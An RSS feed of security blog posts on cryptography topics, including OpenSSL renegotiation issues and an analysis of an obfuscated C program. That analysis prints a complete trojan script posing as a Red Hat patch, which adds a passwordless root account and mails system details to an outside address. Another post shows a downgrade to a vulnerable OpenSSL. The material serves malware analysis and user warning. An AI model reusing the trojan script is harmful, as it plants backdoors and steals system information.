<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cryptography &#8211; Phocean.net</title>
	<atom:link href="/category/security/cryptography/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Computer Security Blog</description>
	<lastBuildDate>Fri, 24 Feb 2017 21:17:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.10</generator>
	<item>
		<title>ESFS, new perspectives for stenography ?</title>
		<link>/2011/01/14/esfs-new-perspectives-for-stenography.html</link>
		<pubDate>Fri, 14 Jan 2011 21:43:21 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[stenography]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=952</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=952</guid>
		<description><![CDATA[Tomas Touceda advertised a new project on Full Disclosure. The idea sounds good, so I will keep an eye on this very interesting project. Though I would like to know more about the methods that were used for encryption and stenography. Code and explanations are on the ESFS project homepage. Beyond the pratical usage, I...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2011/01/14/esfs-new-perspectives-for-stenography.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Tomas Touceda advertised a new project on Full Disclosure.<br />
The idea sounds good, so I will keep an eye on this very interesting project.<br />
Though I would like to know more about the methods that were used for encryption and stenography.</p>
<p>Code and explanations are on the <a title="ESFS" href="https://github.com/chiiph/esfs" target="_blank">ESFS project homepage</a>.<br />
Beyond the pratical usage, I wonder if it can offer anyhow better resistance to statistical analysis that usually defeat stenography. The author addresses partialy the point on the mailing list:</p>
<blockquote><p>What I meant with hide is that, since it uses the LSBs, you can pick<br />
any image, and &#8220;find data&#8221; in them, so it makes it a little bit harder<br />
to know where you actually have data, and if you really do.</p></blockquote>
<p>To this, a reader named stormrider pointed out <a title="stenography attacks" href="http://www.ece.cmu.edu/~adrian/487-s06/westfeld-pfitzmann-ihw99.pdf" target="_blank">an interesting research document (PDF)</a>, which is a state of the art of the limitations of stenography and the attacks against it. Is it really a dead-end ?</p>
<p>This is indeed a very interesting field of research.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Ravan, password cracking using Javascript!</title>
		<link>/2010/12/18/ravan-password-cracking-using-javascript.html</link>
		<pubDate>Sat, 18 Dec 2010 22:53:22 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=940</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=940</guid>
		<description><![CDATA[Ravan is a new password cracking tool based on Javascript. Wait, what ? Javascript ? Yes, as the author explains, modern Javascript engines are not so slow anymore, and in addition HTML 5 brings a new &#8220;feature&#8221; with webworkers which allow the browser to run Javascript in the background (e.g without waiting on the page...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/12/18/ravan-password-cracking-using-javascript.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a title="Ravan" href="http://www.andlabs.org/tools/ravan.html" target="_blank">Ravan</a> is a new password cracking tool based on Javascript.</p>
<p>Wait, what ? Javascript ? Yes, as the author explains, modern Javascript engines are not so slow anymore, and in addition HTML 5 brings a new &#8220;feature&#8221; with webworkers which allow the browser to run Javascript in the background (e.g without waiting on the page executing the script).</p>
<p>Combine it with several computers connecting to the same page executing a password cracking script and you get easily quite a powerful distributed password cracker.</p>
<p>Visit <a title="Ravan description" href="http://www.andlabs.org/tools/ravan/ravan.html" target="_blank">this page</a> for more details.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Yet OpenSSL renegociation not fully fixed</title>
		<link>/2010/10/16/yet-openssl-renegociation-not-fully-fixed.html</link>
		<pubDate>Sat, 16 Oct 2010 07:35:59 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[openSSL]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[renegociation]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=924</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=924</guid>
		<description><![CDATA[How the hell is it possible that after so many months, the fix for OpenSSL renegociation has not been yet included in either Chrome (6.0.4) or Opera (10.61)? I haven&#8217;t tested other browsers though, except Firefox which at least has fixed the issue since several months.]]></description>
				<content:encoded><![CDATA[<p>How the hell is it possible that after so many months, <a title="OpenSSL renegociation issue" href="/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html" target="_self">the fix for OpenSSL renegociation</a> has not been yet included in either Chrome (6.0.4) or Opera (10.61)? I haven&#8217;t tested other browsers though, except Firefox which at least has fixed the issue since several months.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Beware of source code (even from your favorite portal/forum/&#8230;)</title>
		<link>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html</link>
		<comments>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:14:04 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[RC4]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<description><![CDATA[The other day I stumbed upon a weired piece of software on howtoforge.com : dns-add (code on sourceforge.net). Actually, the purpose of dns-add was very intriguing : update your DNS in one command ! The output should look like this: ...::: ISP-fW DNS add v1.0 :::... http://isp-fw.sourceforge.net/ --== copyleft 2005-2006 ==-- &#124; Free memory: 864...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>The other day I stumbed upon a weired piece of software on <a title="Howtoforge.com" href="http://howtoforge.com" target="_blank">howtoforge.com</a> : <a title="dns-add" href="http://www.howtoforge.com/adding-dns-servers-in-one-step-with-dns-add" target="_blank">dns-add</a> (code <a title="Sourceforge dns-add" href="http://sourceforge.net/projects/isp-fw/files/DNS-add/" target="_blank">on sourceforge.net</a>).</p>
<p>Actually, the purpose of dns-add was very intriguing : update your DNS in one command !</p>
<p>The output should look like this:</p>
<pre>...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms</pre>
<p>Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in <code>/etc/resolv.conf</code>. Done in 10 seconds.</p>
<p>To enjoy dns-add, we are supposed to compile the source code. Let&#8217;s have a look at it first.</p>
<p>It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:</p>
<ul>
<li>not much commented,</li>
<li>a bunch of strange variables like &#8220;\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231&#8221;. Could be the real code, hidden,</li>
<li>None of the visible stuff seems to do anything on the DNS.</li>
</ul>
<p>So now, let&#8217;s try to find out what&#8217;s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That&#8217;s the easiest way, no need to disassembly and do memory forensic.</p>
<p>A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.</p>
<p>Bingo ! There is a code almost entirely identical <a title="RedHat update malware" href="http://packetstormsecurity.nl/0410-advisories/FakeRedhatPatchAnalysis.txt" target="_blank">there</a>.<br />
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.</p>
<p>There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).</p>
<p>So let&#8217;s see how RC4 works and compare it with its possible implementation in dns-add.<br />
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description <a title="RC4" href="http://www.frontiernet.net/~fys/cypher.htm" target="_blank">there</a> :</p>
<blockquote><p>RC4 has two phases: key setup and ciphering.</p>
<p>The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.</p>
<p>The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.</p>
<p>Each mixing operation consists of two steps:<br />
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key.  (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)<br />
Swap the ith and jth elements of the state array.</p>
<p>After the entire mixing loop is completed, i and j are set to zero.</p>
<p>During the ciphering operation, the following steps are performed for each byte of the message:</p>
<p>The variable i is incremented by one<br />
The contents of the ith element of &#8216;State&#8217; is then added to j<br />
The ith and jth elements of &#8216;State&#8217; are swapped and their contents are added together to form a new value n.<br />
The nth element of &#8216;State&#8217; is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.<br />
The same ciphering steps are performed for encryption and for decryption.</p></blockquote>
<p><strong><em>void key(void * str, int len)</em></strong> for setting the key setup phase and <strong><em>void arc4(void * str, int len, char *hint)</em></strong> for the deciphering phase do exactly what&#8217;s described above.</p>
<p>They are called by <em><strong>char * xsh(int argc, char ** argv)</strong></em>, which we are going to look at carefully now.</p>
<p>This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, <strong><em>chkenv,</em></strong> setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.</p>
<p>What&#8217;s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.</p>
<pre>j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret && *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret > 1) ? ret : 0;	/* Args numbering correction */
while (i < argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */</pre>
<p>Then, it is launched with execvp:</p>
<pre>
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
</pre>
<p><strong>Before testing further, it is safer to comment out the execvp line.</strong></p>
<p>Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):</p>
<pre>
FILE *fout;
char **tmp;
tmp = varg;
fout = fopen ("dns-test","w");
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);</pre>
<p>Here we go :</p>
<pre>
$ ./dns-add
$ cat shellcode
./dns-add-c           <blank chars skipped>                    #!/bin/bash

dnsfile="/etc/resolv.conf"
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i <= $dns_nr; i++ )) do
    echo -n "Enter DNS${i}: "
    read dns;
    echo "nameserver $dns" >> $dnsfile;
done
echo "Done adding $dns_nr DNS!"
echo
for i in `cat $dnsfile | cut -d " " -f 2`; do
    if [ `ping -c 1 $i | grep -c "100%"` -eq 1 ]; then
            echo -e "DNS $i $failed to respond => request timeout :( "
    else
        echo -ne "DNS $i responded in ";
        ping -c 1 $i | grep icmp_seq | cut -d "=" -f 4;
    fi
done
}

clear
echo -e "...::: ISP-fW DNS add v1.0  :::...""\e[1m\e[36;40m" "http://isp-fw.sourceforge.net/\e[0m ";
echo -e "--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d ":" -f2|cut -c12-22)";
echo "contact isp.devel@gmail.com"
echo
echo -n "You can add up to 9 DNS servers, enter a number from [0-9]: ";
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo "$dns_nr is not a number!";;
  [[:upper:]]   ) echo "$dns_nr is not a number!";;
  *             ) echo "$dns_nr is not a number!";;
esac
./dns-add</pre>
<p>That's it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it's nothing else than a (bad) joke.</p>
<p>In the case of the original malware, it was more harmfull :</p>
<pre>#!/bin/sh
cd /tmp/
clear
if [ `id -u` != "0" ]
then
        echo "This patch must be applied as \"root\", and you are: \"`whoami`\""
        exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
 echo "Inca un root frate belea: " >> /tmp/mama
 adduser -g 0 -u 0 -o bash >> /tmp/mama
 passwd -d bash >> /tmp/mama
 ifconfig >> /tmp/mama
 uname -a >> /tmp/mama
 uptime >> /tmp/mama
 sshd >> /tmp/mama
 echo "user bash stii tu" >> /tmp/mama
 cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi

bla()
{
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 3
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 4
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo "#"
  sleep 1
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\": "
bla
echo -n "Patching \"mkdir\": "
bla
echo
echo "System updated and secured successfuly. You may erase these files."
sleep 1
./badexec 'exec '%s' "$@"' "$@"</pre>
<p>Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.<br />
What's not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?<br />
Maybe I should ask him.</p>
<p>Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can't be malicious, the author offers the source code and nicely shares his work, right ?<br />
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.</p>
<p>It highlights well several things :</p>
<ul>
<li><strong>social engineering is multi-platform ! </strong>We are often more vulnerable than our systems. Linux user or not.</li>
<li><strong>software published with the source code doesn't mean safe software</strong>.</li>
</ul>
<p>As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE ;)).<br />
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don't just grab any code, compile it and execute it blindly.</p>
<p>At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.</p>
<p><strong><span style="color: #ff0000;"><em><span style="color: #ff0000;">* Update *</span></em></span></strong></p>
<p><em><span style="color: #993300;">I did contact the author and didn't get any answer.<br />
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.</span></em></p>
<p><em><span style="color: #993300;">You can download the source code </span></em><a href="/wp-content/uploads/2010/04/dns-add.tar.gz"><em><span style="color: #0000ff;">dns-add.tar.gz</span></em></a><em><span style="color: #993300;"> if you want to analyse it.</span></em></p>
]]></content:encoded>
			<wfw:commentRss>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Updates on OpenSSL CVE-2009-3555 (client renegociation)</title>
		<link>/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html</link>
		<comments>/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html#comments</comments>
		<pubDate>Mon, 05 Apr 2010 08:40:44 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[certificate]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[CVE-2009-3555]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mod-ssl]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=773</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=773</guid>
		<description><![CDATA[So there are some news from the front of OpenSSL CVE-2009-3555 (see this and this for the history). Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation : SSLInsecureRenegotiation on Check the official doc for more details. With this option activated, you can now safely upgrade openSSL...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>So there are some news from the front of OpenSSL CVE-2009-3555 (see <a title="SSL client authenticate breakage" href="/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html" target="_self">this</a> and <a title="SSL/TLS RFC updated against CVE-2009-3555" href="/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html" target="_self">this</a> for the history).</p>
<p>Now the latest version of Apache mod_ssl (2.2) embeds an <a title="mod_ssl client renegociation" href="http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslinsecurerenegotiation" target="_blank">option to reactivate old way client renegociation</a> :</p>
<pre>SSLInsecureRenegotiation on</pre>
<p>Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn&#8217;t they ?</p>
<p>The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.</p>
<p>Firefox has started to <a title="Firefox and CVE-2009-3555" href="https://wiki.mozilla.org/Security:Renegotiation" target="_blank">work seriously on it</a> and we can expect some support in the next releases (some settings will be possible through about:config).</p>
<p>They even created a <a title="CVE-2009-3555 test page" href="https://ssltls.de/" target="_blank">test site</a>. This screenshot was taken from Google Chrome (5.0.366.2, <a title="openSUSE repos" href="http://en.opensuse.org/Additional_package_repositories" target="_blank">openSUSE repo</a>) which already has support for the SSL protocol :</p>
<p style="text-align: center;"><a href="/wp-content/uploads/2010/04/chrome-ssl.png" rel="lightbox[773]"><img class="aligncenter size-full wp-image-776" title="chrome-ssl" src="/wp-content/uploads/2010/04/chrome-ssl.png" alt="" width="455" height="473" /></a></p>
]]></content:encoded>
			<wfw:commentRss>/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Possible use of SSL rogue certificates for spying purposes</title>
		<link>/2010/04/04/possible-use-of-ssl-rogue-certificate-for-spying-purpose.html</link>
		<pubDate>Sun, 04 Apr 2010 20:48:48 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[MiTM]]></category>
		<category><![CDATA[rogue certificate]]></category>
		<category><![CDATA[sniff]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=763</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=763</guid>
		<description><![CDATA[Recent work of security researchers on SSL MiTM attacks have shown how fragile the whole Internet security design could be. But whereas some of these attacks concerns CA with insufficient security policies (md5 collisions) or some level of social engineering against the user (sslsniff), this paper alerts us on a more serious and stealth threat....<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/04/04/possible-use-of-ssl-rogue-certificate-for-spying-purpose.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Recent work of security researchers on SSL MiTM attacks have shown how fragile the whole Internet security design could be.</p>
<p>But whereas some of these attacks concerns CA with insufficient security policies (md5 collisions) or some level of social engineering against the user (sslsniff), this <strong><a title="defeating ssl mitm" href="http://files.cloudprivacy.net/ssl-mitm.pdf" target="_blank">paper</a></strong> alerts us on a more serious and stealth threat.</p>
<p>It explains brilliantly, providing us with real case scenarios, how a CA (probably under the authority of a government agency or a similar powerful organisation) can create a rogue certificate that will be silently trusted by our browsers.</p>
<p>The problem relies in the chain of trust : a root CA delegates trust to intermediate CA, which can at this point generate any &#8220;valid&#8221; certificate they want, even for a domain they shouldn&#8217;t sign.</p>
<p>Excerpt :</p>
<blockquote><p><em>&lt;&lt; As an example, the Israeli government could compel StartCom, an Israeli CA to issue an intermediate CA certiﬁcate that falsely listed the country of the intermediate CA as the United States. This rogue intermediate CA would then be used to issue site certiﬁcates for subsequent surveillance activities. In this hypothetical scenario, let us imagine that the rogue CA issued a certiﬁcate for Bank Of America, whose actual certiﬁcate was issued by VeriSign in the United States. Were CertLock to simply evaluate the issuing CA’s country of the previously seen Bank of America certiﬁcate, and compare it to the issuing country of the rogue intermediate CA (falsely listed as the United States), CertLock would not detect the hijacking attempt. In order to detect such rogue intermediate CAs, a more thorough comparison must be conducted. &gt;&gt;</em></p></blockquote>
<p>In such a case, no browser will ever send an alert, so even the most experienced and most paranoid users would be easily cheated. It makes it very easy for an agency to conduct a man-in-the-middle attack, sniffing all of the user activity.<br />
So here is a need for an add-on.</p>
<p>As a Firefox user, I am using <strong><a title="Certificate Patrol" href="https://addons.mozilla.org/fr/firefox/addon/6415" target="_blank">Certificate Patrol</a></strong>. It basically alerts the user whenever the certificate of a site changes. The inconvenience is that it requires a long learning period and it also generates quite a lot of false positive (when a certificate is renewed, for instance).</p>
<p style="text-align: center;"><a href="/wp-content/uploads/2010/04/certpatrol.png" rel="lightbox[763]"><img class="aligncenter size-full wp-image-764" title="Certificate Patrol add-on" src="/wp-content/uploads/2010/04/certpatrol.png" alt="" width="394" height="409" /></a></p>
<p><strong>Adi Shamir</strong> and <strong>Phil Zimmerman</strong>, the author of the paper above, plan to publish a new add-on, <strong>Certlock</strong>. It will check carefully all the chain of trust for a certicate and send out an alert whenever a detail is incoherent, for instance when the country of the parent&#8217;s certificate is different from the country the rogue certificate is pretending to be.</p>
<p>I really hope Certlock is coming soon.</p>
]]></content:encoded>
			</item>
		<item>
		<title>SSL/TLS RFC updated against CVE-2009-3555</title>
		<link>/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html</link>
		<pubDate>Sat, 09 Jan 2010 11:23:09 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[IETF]]></category>
		<category><![CDATA[mod-ssl]]></category>
		<category><![CDATA[RFC]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=673</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=673</guid>
		<description><![CDATA[A solution has been finally brought up to fix CVE-2009-3555 and the temporary solution that broke client authentication. At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete. Moreover, as it requires both the servers and the clients...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>A solution has been finally brought up to fix<a href="/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html"> CVE-2009-3555 and the temporary solution that broke client authentication</a>.</p>
<p>At least, the IETF agreed on a fix as <a title="SSL/TLS fix" href="http://extendedsubset.com/?p=14" target="_blank">Marsh Ray</a> informs us, though it will still take some weeks for the whole validation process to complete.</p>
<p>Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.</p>
<p>As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !</p>
]]></content:encoded>
			</item>
		<item>
		<title>OpenSSL : CVE-2009-3555 security fix and mod_ssl client authentication breakage</title>
		<link>/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html</link>
		<comments>/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html#comments</comments>
		<pubDate>Sat, 28 Nov 2009 16:08:50 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=524</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=524</guid>
		<description><![CDATA[A security advisory on OpenSSL has recently been published. Details are there and there. It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client. A proof of concept of an attack against Twitter was...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>A security advisory on OpenSSL has recently been published. Details are <a title="CVE-2009-3555" href="http://secunia.com/advisories/cve_reference/CVE-2009-3555/">there</a> and <a title="renegociation vulnerability" href="http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html">there</a>.</p>
<p>It is vulnerable to a <strong>MiTM attack </strong>where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.</p>
<p>A proof of concept of an attack against Twitter was made.</p>
<p>Fine. But so far, <strong>the answer was to just disable any renegociation</strong>.</p>
<p>This actually causes some issues with SSL session timeout and totally broke client authentication.</p>
<p>I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :</p>
<pre>[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?</pre>
<p>I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.<br />
But, a nice guy on IRC #suse,<strong> Stittel</strong>, had a good hunch and suggested me to look at the CVE-2009-3555 fix.</p>
<p>After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).<br />
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.</p>
<p>Then, I dig into it and found a lot of interesting reports <a href="https://bugzilla.redhat.com/show_bug.cgi?id=533125" target="_blank">there</a> and <a href="http://old.nabble.com/TLS-renegotiation-disabling-:-mod_ssl-and-OpenSSL--0.9.8l-td26285568.html" target="_blank">there</a>. So far it is a real mess.<br />
In short, the breakage will stay as long as browsers don&#8217;t also include a patch to avoid renegotiation.<br />
So far, I could not find a browser that does include a patch.<br />
If anyone reading it knows a version that does it, please let me know.</p>
<p>Meanwhile, you have actually the choice between :</p>
<ul>
<li>low security by deactivating client authentication on your server</li>
<li>low security by keeping a vulnerable version of OpenSSL</li>
</ul>
<p>As my server is not very exposed, I chose the latter, but that&#8217;s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :</p>
<pre>% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit</pre>
<p>where repo-oss is the alias to the 11.2 release (without updates) on your system.</p>
<p>What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator&#8230;</p>
<p><em>PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general ;)</em></p>
<p><em>PS 2 : <a href="https://bugzilla.novell.com/show_bug.cgi?id=558176" target="_blank">bug reported</a> on openSUSE bugzilla</em></p>
]]></content:encoded>
